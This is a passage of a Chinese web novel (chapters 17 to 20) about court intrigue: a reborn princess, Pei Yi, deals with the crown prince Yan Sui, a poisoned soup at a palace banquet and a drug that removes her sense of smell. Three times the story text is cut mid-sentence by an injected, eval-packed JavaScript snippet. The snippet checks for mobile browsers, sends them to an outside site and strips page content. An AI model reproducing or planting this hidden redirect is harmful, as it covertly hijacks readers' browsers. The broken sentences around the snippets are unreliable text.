她心中忿忿暗骂他小肚鸡肠,同时也不打算继续为难自己自找难堪,回过眸,讥诮奉承道:“殿下武功盖世,天下无双,臣女无能,实在抽不出来殿下的匕首。” 晏绥负着手走过来,闲散提点:“你把骂孤的力气省一省,全都用在手上,就抽的出来了。” 裴旖恨得牙痒,一点也不想否认自己确实是在心里骂他。反正已经确认了他暂时不想杀自己,她胆子也渐渐大了起来,阴阳怪气回敬道:“臣女不敢,臣女担心那样力气会使得太大,将殿下的匕首拧断。” 身后传来一声意味不明的低笑:“原来郡主是想拧断孤的脖子,这有何难。” 裴旖忽觉后颈一凉,他的大掌覆了上来,粗粝指腹在她颈窝上轻蹭了两下,明明是极暧昧的动作,却令人无端泛起寒意。 “孤教你。” 裴旖身体瞬间紧张僵直,她清晰感受到身后人的压迫气息笼罩下来,将她圈禁在树身与他之间。她下意识握紧了身前的匕首,来不及去懊悔自己方才为什么非要逞一时的口舌之快,扣在她颈上的大手倏然用力,她心中一慌,本能缩起脖子闭紧了眼,“咔”! 一声脆响,有什么东西断了。 17. 第 17 章 四下寂静,只有风声依旧。 裴旖紧张紧闭着眼,后知后觉感觉到自己的脖子还在原位。她缓缓睁开眼,只见匕首依旧稳稳插在树上,而那把桃木剑却已经断成了两截,剑身仍钉在匕首之下,剑柄那截则被握在一只骨节分明的大掌里。 来自身后的强大压迫感并没有消失,裴旖像是只被提住了后颈的小兽,在他手里一动不敢动,直到半天也没有等到他的下一步动作,她才小心翼翼忐忑回过眸,身后人垂眼定定看着她的脸,半笑不笑戏谑:“郡主如此惜命,却如此爱叫板。” 裴旖脸颊腾地红了起来,反正都已经被他耍了,她嘴上更不服输:“我又不似狐狸有九条命,当然惜命。” 晏绥掀唇低哂:“不用九条,但凡给你两条命,这上京城都得被你搅翻天。” 裴旖黑眸晦暗一晃,嘴唇轻启了启,最终还是什么也没说,沉默转回头,试图挣开他的钳制。 身后人的手上略微用力,掐住她的后颈将她往后一拎,随后大掌从她颈上离开。她暗松一口气,正要放开面前的匕首时,下一瞬,那只大掌再次落了下来,毫无预兆覆上了她的手。 裴旖完全没有料到他这样的举动,心脏重重一跳,下意识就要抽出手来,可他像是提前预判到了她的动作,先一步用力握紧了她的手。 这两只手掌的力量与大小都过于悬殊,她的手被他的大掌包裹得严严实实,后脊也因为他突然的逼近退无可退。她甚至能感觉到他掌心上的粗糙纹理还有他宽阔身躯隐隐传来的温热,黑眸里难得浮上慌乱,正茫然不知所措时,他借着她的手,悠闲抽出了那把嵌在树上的匕首。 裴旖一怔,身后的人已经利落收起了刀,同时退开一步。笼罩在她身上的压迫骤然消失,他声调散漫开腔:“不过今日郡主可是欠了孤一条命?” ……说来说去,还是在介怀方才她谢错人的事。 裴旖暗暗抿唇,他越是这么拐弯抹角逼她,她就越是不想顺他的意。她压住自己还未平复心跳,转过身来,脸色平静道:“臣女的命本来就在殿下手中。” 他抬起眼:“哦?” 裴旖不咸不淡道:“臣女以身为殿下试毒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959161|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原就是将死之人。” 对方从容弯唇:“如此说来,孤方才也算是将功抵过了?” 几次交道打下来,裴旖多少也从他阴晴不定的脾性里模糊摸出了一点与他相处门道。要顺着他,却又不能太顺着他,要让他感到好奇,同时也要让他认定,她脱离不了他的掌控。 裴旖状着胆子理直气壮道:“臣女因殿下遭遇一次失火、一次刺杀、一次中毒,所以算起来,应该是殿下还欠我两条命才对。” 晏绥闻言失笑。论起诡辩来,恐怕整个后宫都没有她的对手,只有前朝那些文臣能跟她一较高下了。 他大方道:“你若解得开你身上的毒,孤还给你便是。” 裴旖第一次遇见他这么好说话,自然要抓紧机会得寸进尺:“殿下怎么还?” 晏绥无声望着她的晶亮黑眸,那点子狡黠和心机全都明晃晃写在里头。明明是被她倒打一耙勒索打劫,可他的心情却莫名并不糟糕。 “你想要什么?” 面前的少女不假思索,显然早已筹谋多时:“殿下的暗卫。” 18. 第 18 章 这样的意外所有人都始料未及,亭内瞬间乱作一团,有人喊着太医,有人惊恐猜测:“羹里有毒?!” 裴旖下意识伸手扶住晏轩的身子,见他口周和颈上密密浮起了一片红疹。她沉眸翻开晏轩的眼皮看了看,暗松一口气,不是中毒。 她站起身,示意青霜跟自己一起将人挪到椅子上,而后扶着晏轩靠在椅背上端坐,解开了他腰间的玉带,将他的衣物松散开来。椅子上的人瞳孔涣散半阖着眼,虽然脸色仍旧白得瘆人,但呼吸声总算没有再继续恶化下去了。 丽妃匆急走上前来,接连唤了几声轩儿都没有得到回应,惊恐又恼怒,不分青红皂白,将满腔火气发泄到了距离晏轩最近的裴旖身上:“你解他的衣服做甚?你还想趁机害轩儿在人前衣衫不整出丑吗?” 裴旖淡漠翻了下眼皮,懒得理她的话。倒是一桌之隔的谢颜气愤得想替裴旖理论,被她身后的婢女按住肩膀,摇头暗示她的身份不可顶撞丽妃。 丽妃冲裴旖发过了脾气后,回身朝着一干吓得脸色铁青的宫人吼道:“太医!太医在哪里?!” 一个小婢女怯怯出声:“回娘娘的话,太医已经在路上了。” 丽妃面色煞白,手脚冰凉发抖。晏轩是她的心头肉,也是她在这深宫里的全部指望,倘若今日真的是有人蓄意投毒,而她的儿子好巧不巧替旁人挡了灾,她是真的会疯掉! 顾不上仪态风度,她歇斯底里喊道:“让他们快些来!今日轩儿若是有什么闪失,本宫让你们全部陪葬!” 宫人在地上跪了一片,唯唯诺诺应是,一道声音忽然平静响起:“小皇子是瘾疹。” 丽妃闻言一顿,回过头,面色上的怒气仍旧未消,将信将疑看向说话的人:“瘾疹?” 裴旖对丽妃无甚好感,但人命关天,且幼子无辜,她不欲多说,只言简意赅道:“这道羹中的某种食材,与小皇子的体质不合。” 晏灵站在丽妃身后,眼眸闪过一瞬惊慌。丽妃逐渐冷静下来,沉沉拧起了眉。 她审度着眼下的状况,还未开口,贴身伺候晏轩的小太监跪着向前两步,言辞急切道:“娘娘明鉴,这蛇肉与猫肉虽不常见,但也都曾出现在小皇子的饮食中,之前从未有过这样的状况啊!” 亭中一时寂静无声,所有人都心照不宣,倘若不是食材的问题,那就只能是这羹中被人故意加入其他的东西了。而投毒之人此举真正的目标是谁,显而易见。 丽妃暗暗深吸口气,眼眸更加阴沉。今日是她的宴请,出了这样不体面的事,怎么处理都是棘手。 晏然抱着手臂冷哂一声,等着看丽妃如何收场今日的闹剧。一旁苏黎盈的表情则有些愤愤不平,她的性格一向直率火爆,这些年来一直跟着父兄在北靖生活,不常接触宫里这些弯弯绕绕,但从方才赐羹开始,她们针对郡主的意味就十分明显,现下羹中又被人加了东西,简直就是欺人太甚,若换作是她,早就已经忍不住把桌子掀了。 淑贵妃的脸色还如方才一般悠然,她意味深长看了裴旖许久,片晌后,回眸看了眼自己的婢女,对方心领神会点了下头。 太医迟迟不到,丽妃沉默不语,她身后的女官察言观色,斟酌着替她开口问道:“敢问郡主,小皇子可有性命之虞?” 裴旖没有立即回答,她不确定晏轩此症到底是为何物所致,因而也无法判断他当前的情况。 她端起汤盅,低头闻了闻,片刻后,她微微蹙起眉,目光疑惑地垂眸看了眼手里的羹,而后再次低下了头。 青霜眼见她贴得比上一次还近,没忍住皱了皱鼻子,替她觉得反胃。再者她对丽妃今日的刁难也相当不爽,这碗羹阴差阳错被她儿子喝了也是她咎由自取,郡主又何必趟这浑水? 她在一旁低声提醒道:“郡主,太医马上就到了。” 裴旖抬起眼,看着青霜的脸,忽然没头没尾问:“这羹是什么味道?” 青霜不明所以,下意识往后缩了缩脖子,忍耐得很勉强:“闻着腥气有些重,别的奴婢也分辨不出。” 这就很诡异了。 以蛇肉和猫肉炖的汤羹,自然是腥的,青霜离得那么远都能闻见,可她始终坐在汤盅前,甚至此刻就捧着汤盅,却一丝腥气也没有闻到。 裴旖若有所思放下盅,慢慢回忆着今日发生的事。 不只是这碗羹,还有早膳时的虾仁粥,婢女为她上妆时用的脂粉,从竹林回来时路过的花丛……所有的一切,她全都没有闻到。 她怔然片刻,下意识抬脸看向一湖之隔的水榭。 对面灯影绰绰,觥筹交错,全然不知这边发生的变故。她的视线在人群中掠过,迅速定在那道熟悉的峻挺身影上。 也不知是对方太敏锐,还是他早就算准了她会在此刻找到答案,在她目光刚落到他侧脸上的瞬间,他闲闲转眸看过来,举起手里的茶杯,隔着月色与湖光,散漫向她致意。 裴旖心中的猜测得到了验证,随之而来的是另一重更深的疑惑。 昨晚东宫那杯茶中的毒药,原来是会令人嗅觉失灵。 她直觉晏绥做这件事不会是单纯为了捉弄她,但又一时想不出失去嗅觉的自己到底如何能为他所用。她正觉困惑不解,身后响起数道匆匆的脚步声,女官的声音焦急而沉稳:“章太医,顾太医,劳烦二位太医看看小皇子这是怎么了?” 裴旖回过神,收起视线转身,目光和迎面而来顾祈安短暂交汇。 他的表情严肃,前额微微冒出细汗,想来这一路赶来得很是匆忙。裴旖若无其事别开眼,往后退开,给对方留出诊治的空间。 两位太医放下药箱,一位负责查看小皇子的状况,另一位拿起桌上的汤盅,观察半晌后,下定结论:“禀娘娘,这道羹中含有叶象花汁。大部分人在接触叶象花后,皮肤会浮起红疹,瘙痒难耐,几个时辰后自然会消下去。而小皇子的体质与其格外不合,才会出现呼吸困难、失去意识的症状。” 此言一出,亭内众人低声议论纷纷。顾祈安继续道:“幸好小皇子所食不多,且处理及时得当,这样的坐姿与解开贴身衣物都有助于肺部通气,因而小皇子的症状没有进一步加重,目前暂无性命之虞。” 丽妃终于放下心来,同时脸色也因为这番话而尴尬起来。顾祈安停顿了瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984403|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,望向裴旖:“敢问郡主是否也饮用了此羹?” 裴旖摇头:“未曾。” 顾祈安点了下头,从药箱中取出一副银针,翻开晏轩的眼皮看了看,对着他的颈部与手上各施了几针。 半晌之后,晏轩缓缓苏醒过来。他的瞳孔还涣散着,张着嘴慢慢进了一大口气,而后哇地一声哭了出来。 此事一出,宴会是无法再继续了。丽妃心疼地在幼子脸上抚了又抚,命人送他回宫医治,而后叫来负责今日宫宴的女官,正想吩咐她去遣散各家的女眷,一道声音慢悠悠从席间响了起来:“皇弟受了这么大的罪,丽妃娘娘定要找出今日下毒之人,给他一个说法。” 晏然的视线缓缓扫过众人,手指绕着她那根红色的鞭子,慢条斯理笑道,“敢在宫宴上毒害皇子,论律当凌迟处死呢。” 确认晏轩无事后,丽妃又恢复了自己宠妃的气势,当众表态道:“今日之事,郡主与轩儿都受了委屈,本宫定会查出这个人来,严惩不贷。” 裴旖淡淡接话道:“要查出这个人也不难,叶象花的气味特殊,沾染到皮肤或衣物上即使及时清洗,也会残留数日之久,现下只要一一查看是谁的手上残有花汁,便可真相大白了。” 满庭哗然,人群中一位身着浅紫宫装的贵女脸色惨白紧张,暗暗攥紧了裙摆。 丽妃沉沉拧紧了眉,她心里自然清楚此事多半与晏灵脱不开干系,再者今日在场的都是各世家的夫人与小姐,事情闹大了有损皇家颜面,怎能逐一查验? 她沉声慢慢道:“这道羹从食材准备到最终端到桌上来,经历数十人之手,想来一时之间查不出结果。” 身旁的女官察言观色,紧接着顺着她的话道:“今日之事发生在望月亭,是下臣之过。下臣会着人严审宫女查清此事,眼下天色已晚,就无需继续叨扰各位夫人与小姐们了。” 晏然懒洋洋睨了两人一眼,意味深长笑了声:“郡主的方法简单奏效,你却非要先将所有宫女都审上一遍,岂非是存心留给下毒之人消除罪证的时间?” 女官低着头,纵使她听命于丽妃,也不敢忤逆这位真正集万千宠爱于一身的公主:“下臣不是这个意思。” 晏然冷下声音:“那你是什么意思?” 躲在丽妃身后的晏灵恨得几乎要咬碎了牙。 今日没能让陆婉柔当众出丑也就罢了,还阴差阳错将事情闹到如此地步,此刻若是任由对方将下毒之人揪出来,她自己没有脸面不说,回去后母妃也会骂她无用,更会责罚她连累了皇弟。 思及此,她心一横,往前走了一步,破釜沉舟道:“今日下毒之人纵然可恨,却也愚蠢,竟选择如此方法来进行毒害。但有一事我听了半天却是不明,这叶象花的气味既然如此特殊,郡主姐姐精通医理,又熟知此花的特性,方才为何会全然没有发觉?” 裴旖听言轻轻挑起一侧的眉,掀眸看向晏灵。 她的神色紧绷得厉害,眼睛微微睁大,强作出一副无辜而镇定的模样:“还是说,郡主姐姐早就察觉出这羹有问题了,却没有声张,也没有阻止,就这样眼睁睁看着皇弟喝下去了呢?” 19. 第 19 章 亭内众人闻言又是一滞,谢颜忍不住倾身出声道:“公主这番话,难道是在说眼下去论证郡主是否闻出了叶象花的气味,比找出投毒之人更重要?” 晏灵不慌不忙道:“投毒之人在调查之后一定会水落石出,可是郡主姐姐到底为何隐瞒,恐怕只有郡主本人才知道了。” 她将目光转向裴旖,神色恳切,眼中甚至还隐隐盈出了泪,“母妃惦念郡主姐姐抄经辛苦,好心准备了这道汤,姐姐纵使再不喜欢,皇弟是无辜的。医者父母心,姐姐也曾身为医者,为何不见慈悲心怀?莫非是姐姐从一开始就怀疑这叶象花是母妃一手安排的,要当众使你难堪,所以才会在皇弟喝下去的时候冷眼旁观?” 这一番说辞逻辑通顺,又情真意切,加之长公主一向张狂跋扈随心所欲,与丽妃不睦已久,因此席间不少人被晏灵说动,投来或怀疑或鄙夷的目光,窃窃议论道:“怪不得方才郡主要将那道汤转赠给公主。” “叶象花可以入药,熟悉药理的人不可能闻不出来。” “可怜小皇子还那么小,就要遭受这种罪过……” 裴旖看着晏灵的脸,无声冷笑,好一个倒打一耙。倘若她是旁观者,都恐怕也要被对方给迷惑和说服了。 母女俩一唱一和,丽妃装模作样淡淡斥责:“灵儿,不得对郡主无礼。” 她扬了扬下巴,作出一副宽宏大度的姿态,“本宫也没想到一番好心会弄巧成拙,如此收场。既然轩儿并无大碍,本宫也不想再过分追究今日之事,人人都有一念之恶,但愿本宫今日的宽恕能让此人自觉真心悔过,如此,也算是为轩儿积福了。” 众人你一言我一语恭维着:“娘娘仁心,我等敬佩不已。” “娘娘如此福泽,小皇子定会安然无恙。” “娘娘——” “娘娘所言极是。” 裴旖冷淡打断,“但倘若臣女今日并非冷眼旁观,而是真的没有闻出异样来,那今日投毒之人能否当场查明,还臣女清白?” 丽妃神态轻慢道:“本宫方才已经说过了,今日之事不再追究。郡主自己问心无愧便好,旁人又如何能污了郡主的清白?” 裴旖心知她们是铁了心要将她与投毒之人混为一谈,因为她们笃定了她无法自证闻不见味道。 她微微漾开唇,淡声道:“昨夜臣女感染风寒,今晨请了太医到宫中诊治,想来太医院还留有记档。因而方才臣女没能察觉到这道羹中被人加了旁的东西,并非冷眼旁观,而是有心无力。” 晏灵听言面色骤然一崩,裴旖静静环顾着在座众人,扬声继续道:“再者,臣女一己之身自是对人言无所畏惧,可若是大昱的储妃在大庭广众之下被扣上冷血歹毒残害皇子的嫌疑,岂非是影响皇家声誉?因此为了皇家颜面考虑,还请娘娘当众彻查了结今日之事,为臣女正名。” 丽妃的脸色沉得发青。 平日里她见对方缩在长公主身旁闷声不响,以为是个好拿捏的,没想到竟如此难缠,回到京城没几个月,竟然还学会拿储妃的名头来做文章了,若是由着她嫁进东宫和淑贵妃联起手来,那往后这后宫中还能有宁日? 晏灵紧张望向自己的母妃,希望她能想出什么法子来压制对方。她忐忑又焦灼地等了半晌,丽妃终于沉声开口道:“方才是灵儿误会郡主了,当向郡主赔罪。” 晏灵一愣,众目睽睽之下,脸色难堪得一阵红一阵白,片刻后,低头硬着头皮道:“今日之事涉及皇弟,灵儿关心则乱,方才多有失言,还望郡主姐姐莫要怪罪。” 谢颜仰脸看着裴旖,满眼闪着小星星,既觉得十分痛快,又恍惚觉得眼前的人似乎和之前不太一样了。 她一时也说不清裴旖到底是哪里变了,但转念又一想,也没什么好大惊小怪的,兔子被逼急了还咬人呢,今日她被丽妃母女如此针对,咬她们一口怎么了? 裴旖淡漠回应:“公主也是心系胞弟,出此误会,不必自责。今日之事归根结底出在投毒之人,现下只要将这个人找出来,所有误会自会迎刃而解。” “此事已经水落石出,不必再查下去了。” 人群之中突然响起一道沉稳女声,众人循声望过去,说话之人正是从始至终未曾开口的淑贵妃。 丽妃虽然凭借着恩宠嚣张一时,但在这后宫中,淑贵妃位同皇后,又是太子的养母,显然更受尊敬。 她的贴身婢女素云捧着一只木匣走上前,开口静述道:“宫中种植叶象花的地方只有清韵园一处,奴婢方才奉贵妃之命到清韵园查看,并在那叶象花丛中发现了一截布条,想来是投毒之人在采摘时不小心被勾住了衣物,未曾发觉。现此证物就在匣中,如何处置,还请贵妃娘娘定夺。” 事情接连发生反转,亭内众人脸色各异,有人静静置身事外旁观,有人看热闹不嫌事大,有人惊恐得身体都颤抖起来,而在这其中,当数丽妃母女二人的表情最为精彩和难看。 淑贵妃的面容罕见沉肃:“今日之事是冲着郡主而来,此人便交由郡主处置。” 素云应了声是,捧着木匣快步走至裴旖身旁。 众人视线齐聚,亭子内一时寂静得能听得见风声。裴旖静默片瞬,抬手放在了木匣上,所有人的目光都紧张凝定在她的指尖,只要她稍微用力掀开盖子,那投毒之人便会被公之于众,可就在众人引颈以待望眼欲穿之际,她却意外收回了手。 没有人料到她会在最后一刻选择放弃追究,谢颜一脸的诧异不解,晏然也相当不可理喻,就连丽妃都皱紧了眉,以为她又要搞出什么名堂。 “今日是公主的生辰,原应是阖宫欢庆的吉日,却被有心之人利用,误伤了皇子,污蔑了本郡主,实在罪不可恕。” 裴旖的声音平静,却掷地有声,“但今日众世家夫人与小姐相聚于此,本郡主也不想在大庭广众之下紧逼不舍,令人颜面尽失。因而今日之事到此为止,若再有下一次,本郡主定不会再饶恕生事之人。” 众人皆被她身上不符年龄的气场镇住,一时之间无人作声。淑贵妃清了清嗓子,肃声开腔道:“郡主心慈,深谙大体,愿给此人一次改过自新的机会。但今日小皇子误食汤羹,险些酿成大祸,因而此人的罪责可免,惩罚难卸。” 她环顾四周,神色威严道,“本宫限此人在三个月内将《法华经》抄写百遍,亲奉于慈恩寺,以示虔诚悔过,且半年之内不得再涉足宫宴,留在府中静心反思,直至痛改前非!” 这场闹剧至此终于告一段落。 宴席提前结束,女眷们各自结伴在花园里闲逛。 谢颜回府后,裴旖独自在千鲤池边喂鱼,青霜提着灯蹲在一旁,没忍住问:“郡主,方才席间你为什么不打开那个匣子,将投毒之人公之于众?” 那人恶毒又愚蠢,害郡主受了这么大的委屈,郡主何需以德报怨,保全对方的颜面? 裴旖往水里洒了几颗鱼食,淡淡反问:“贵妃为何不自己打开那个匣子,而是交由我处置?” “因为贵妃心疼郡——” 青霜脱口而出回答,又忽然噤了声。她细想了想,有些不可置信,“郡主的意思是,那个匣子可能是……” 她没有继续说下去,裴旖接过她的话,笃定道:“空的。” 青霜愕然睁大了眼,望着她的侧脸:“郡主何以这样认为?” 裴旖沉眸看着水面上的涟漪,语气平淡:“叶象花的枝干柔弱,是断不可能勾留住衣物的。再者清韵园在皇宫南角,从望月亭往返一次至少需要两刻钟,而素云离席却远没有这么久,以及——” 她回眸看青霜一眼,“她走过来将木匣交与我时,你在她身上闻到叶象花的味道了吗?” 青霜回忆着当时的情形,而后缓慢摇了摇头:“如此说来,那盒子真有可能是空的。” 她越想越觉得惊险和后怕,小声嘀咕,“贵妃娘娘也是艺高胆大,万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995178|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一郡主没有留意到素云姑娘是何时离开的,打开了木匣,那后果就不堪设想了。” 裴旖没有回应,她心不在焉想着,淑贵妃用这种手段来了结今日之事只是目的之一,对方此举恐怕还有一层更深的目的,是为了考验她。 她接住了这个考验,所以对方紧接着在她表明不再深究后顺理成章出面责罚下毒之人,为她在众人面前立威。 若是她没有接住这个考验,那日后她再被丽妃之流刁难时,对方就很有可能会像今日她被赐羹之时一样,袖手旁观。 裴旖往远处丢了几颗鱼食,不禁自嘲暗想,在这宫中还真是每一步都不能出差错。若非今早她恰巧叫了顾祈安来,方才晏灵那番说辞她还真是难以应对,难道真要她在众人面前说她以身为太子试毒,以致嗅觉失灵,谁若是不信,大可传太子前来一验? 想想那个场面裴旖就觉得荒唐好笑,她宁可背负上自私冷血残害皇子的罪名,也好过当众丢这种脸。 一旁的青霜还在滔滔不绝夸赞:“郡主真是厉害,若换作是奴婢,今日肯定是要给贵妃捅大娄子了。” 裴旖转眸看她片刻,忽然笑了。 有时候,她还真的有些羡慕青霜。 青霜认真道:“郡主别笑奴婢,奴婢是真心这么认为的。宫里的人太复杂了,就因为郡主以后会嫁给太子,所以即使郡主什么都没做,她们也这般刁难。待他日郡主嫁进东宫之后,跟这些人接触的时候就更多了,这样时刻谨慎警惕的日子,奴婢也不知道是好还是不好。” 裴旖有些意外于她这番言论。平日里她只是见青霜做事机灵,但偶尔说起话来还是孩子气,不曾想也有自己的见地。她扯了下唇,淡淡反问:“荣华富贵,怎么不好呢?” 青霜歪头托着腮,鬓边的碎发被晚风吹起:“荣华富贵自然是好的,但是舒心快乐也很要紧。在郡主回府之前,奴婢是世子院里的,世子不喜欢婢女贴身伺候,又不常在府上,奴婢每日就侍弄院子里的花草,喂池子里的鱼,自在又清闲,长公主房里的琉璃姐姐都可羡慕我了呢。” 裴旖听得不自觉笑了,心情因为她的话而放松了不少,出言逗她:“那明日我便去跟世子说,送你回去继续喂鱼。” 青霜瘪瘪嘴,嗔她:“郡主又取笑我。” 停了停,她又小声道,“奴婢是更愿意跟着郡主的。” 裴旖看她一眼:“为何?” 她不假思索回道:“郡主待奴婢很好,而且郡主要一个人去面对那么多的人,太累了。” 裴旖眼睫微垂,有几分动容,静声道:“你若跟着我,下次再遇见刺客时,可能对方杀了我之后就是你。” 青霜挺了挺胸,义正言辞道:“郡主莫要吓唬奴婢,奴婢虽然不想死,但也绝不是贪生怕死之人。命数自有天定,若是奴婢命定如此,那就算是留在世子院里喂鱼,怕是有天也会滑进池子里溺死呢。” 裴旖被她逗笑,轻声斥她:“别乱说。” 青霜嘿嘿笑了一声,提醒道:“时候不早了,郡主累了一天,早些回去歇息吧?” 裴旖嗯了声,扶着青霜的手腕站起身时,岸上忽然传来一道女声热情洋溢唤她:“幼安妹妹!” 主仆二人循声抬起头,只见夜色中站着几人,有陆从周、文王、文王妃,还有一男一女年纪稍大,裴旖未曾见过。 裴旖低头提起裙摆,沿阶而上。那女子接着向身边几人明快笑道:“我方才就说这阶下有人吧,你们偏不信!” 她身旁的男声带着宠溺笑意响起:“嗯,你眼力最好。” 裴旖走上岸,迅速扫了一眼,几人之中数她的年纪最小,她走至几人面前,垂下眼福了福身,正要开口问好时,身型蓦然顿住。 一缕幽淡的香气浅浅钻进鼻息,像是女子身上用的香粉。 这样的场景若是发生在平常毫不稀奇,可对于此刻失去嗅觉的裴旖来说,太诡异了。 20. 第 20 章 见裴旖呆呆的不作声,像是突然间魂飞出去了似的,方才出声叫她的女子拉起她的手,朗声玩笑道:“郡主莫不是见到世子吓傻了?可见世子平常在家里对待妹妹也是很严肃呢。” 陆从周看了眼裴旖,平淡应了句:“王妃惯会说笑。” 裴旖回过神来,轻轻笑了一下,视线在几人身上掠过,可惜那道香气实在太淡,她一时无法判断是从谁的身上传出来的。 晏洵温声揶揄:“阿绫,你莫要挑拨人家兄妹的关系。” 周绫佯装不悦:“这怎么能叫挑拨呢?郡主方才在席间开朗善谈,见到世子却不说话了,可不是都怪世子太高冷了?” 陆从周闻言深深看过来一眼,裴旖从他的神情中看出他对今日的风波还不知情,微微扬起唇道:“许是席间话说得太多了,方才我有点走神儿。” 周绫笑着揽过她的肩安抚似的拍了拍,语音亲切道:“我知道,今日你定是乏了。” 她搂着裴旖转向那对陌生男女,为她介绍,“这两位是豫王和豫王妃,郡主之前未曾见过的。” 豫王是当今圣上的堂弟,年纪与璟王相仿,约莫三十多岁,封地在河西一带,军功显赫,深受器重。裴旖定神向那两人看过去,男的仪表堂堂,女的温柔大方,外表看起来很是登对。 双方客套寒暄了几句,而后周绫拉着晏洵陪自己去湖边放灯,豫王妃不是中原人,对上京的风俗很有兴致,也与豫王一同去了,只留下陆从周和裴旖两人在岸上。 裴旖静静望着湖里的火光渐行渐远,余光瞟见地上并肩而立的两道身影。 他们两个各自心知肚明他们并不是真的兄妹,却又不得不在对方与外人面前扮演兄妹,这种感觉真是讽刺和荒诞极了。 两人各怀心事沉默,半晌后,身旁的人率先开口:“别院在三日内会修缮好。” 裴旖淡淡应了声好。 他又问:“方才发生什么事了?” 她轻描淡写:“有人在我的羹中下毒,被小皇子误食,幸而暂无大碍。” 陆从周神色诧异:“下毒之人可找到了?” 裴旖不愿多谈:“贵妃已经责罚过了。” 对方没有继续追问细节,而是沉声嘱咐:“自从你入宫之后风波不断,还是早些回府吧。” 裴旖听言没忍住一笑,掀眸看向他:“哥哥难道忘记了,我正是因为在长公主府被人行刺,所以才会入宫的?” 身旁的人神色略有复杂,没有回应她的话。裴旖敛起眸光,接着又问:“听说那日来我房中行刺的刺客是哥哥抓到的,为何后来会落到玄武卫的手里?” 他面色如常道:“那人是南呈的探子,身份特殊,可能涉及军情密保,依序当交由玄武卫审问。” “原来如此。” 裴旖点了点头,不着声色笑道,“我原还担心,难道是哥哥也相信了从那刺客住处搜出来的书信是我所为,所以才会将他交给玄武卫呢。” 短暂沉默后,他低声道:“怎会。” 裴旖望着湖面远处的火光,凉凉掀起一侧唇角,做出一副担忧状:“那些诬陷我是假郡主的人这一次没能得手,怕是很快还会再制造出些新罪证来污蔑我吧?” 这一次对方回答得不假思索:“不会。” 裴旖侧目看他:“为何?” 气氛再次陷入沉默,台阶下几人的说笑和脚步声越来越近。裴旖以为陆从周不会再回答她了,正要收起视线时,却听见他声音低沉道:“太子突然回京,他们原定的计划被打断,会暂时观望,不会轻举妄动。” 晚风清寒,月影幽暗。裴旖无声盯着身旁人的侧脸,心中对他的不解和怀疑愈发深重。 她想不通自从自己重生后陆从舟对她的态度为何如此古怪,上一次是要送她回长陵避难,这一次更是直接把长公主姐弟的现状透露给她听。她是真心很迷惑,倘若他真的这般慈悲心肠看不下去那对姐弟对她的所作所为,上一世的最后,又为何偏偏是他来诏狱用一杯毒酒送她去死呢? 裴旖幽幽垂下眼睫,看着台阶上慢步走上来的几道人影,弯唇自嘲轻哂:“所以,托太子殿下的福,我暂时安全了?” 直至台阶下的几人完全走上来,身旁人也没有回答她的问题:“时候不早了,早些回去休息。” 裴旖抬起脸,敛去了眸里的疏冷笑意。 陆从周的话她并不尽信,但至少这番话从侧面验证了她最初的判断,投靠到东宫的阵营,是她眼下的唯一活路,也是她翻盘的唯一可能。 其他几人都还要出宫回府,裴旖与他们道别之后,和青霜走回长宁宫。行至一条小路时,二人身后忽然响起声音:“郡主请留步。” 裴旖闻声回过头,来人是晏绥身边的近侍,向她恭敬行一礼。 “殿下在云光楼等您。” * 云光楼位于太液湖心,裴旖跟随侍从通过木桥,独自走上亭子的台阶。 亭中之人正俯身研究着桌上的棋局,余光瞟见她进来,手指捻起一颗白子,状似随口问起:“听闻郡主今晚遭遇了不小的风波?” 裴旖走至他对面的石墩坐下,脸色平静,开门见山:“殿下可是想问,今晚臣女都闻见了什么?” 面前人听言散漫掀唇:“看来孤想找的人,郡主已经见到了。” 裴旖从他的反应验证了自己的猜想,他给她喝下的那杯茶会暂时封闭嗅觉,而失去嗅觉后的她大约只会对一种东西有反应,那就是解药。 这狗男人,是在拿她当狗用呢。 裴旖眼盯着晏绥的脸,用力抿了抿唇,压住了骂他的冲动,语气冷静回道:“倘若臣女没有猜错的话,这副解药中的其中一味药材极为罕见,且可以制成女子所用的香粉。” 所以他才会特意安排她参与今日的宫宴,因为她的身份更方便接触女眷。 晏绥掀起眸看她一眼,黑眸里的欣赏未加掩饰:“郡主才智过人,聪颖无双。” 裴旖心里冷笑,一本正经回敬:“殿下谬赞了,臣女无非是懂得一点医理,哪里比得上殿下运筹帷幄,用兵如神?” 最后四个字被她咬牙切齿加重,晏绥听出来她是在阴阳怪气讥讽他利用她,不禁低声笑了出来,略微坐正了身子,沉淡开腔:“郡主既已将解药解至了这一步,昨日的毒药,就算是郡主解开了。” 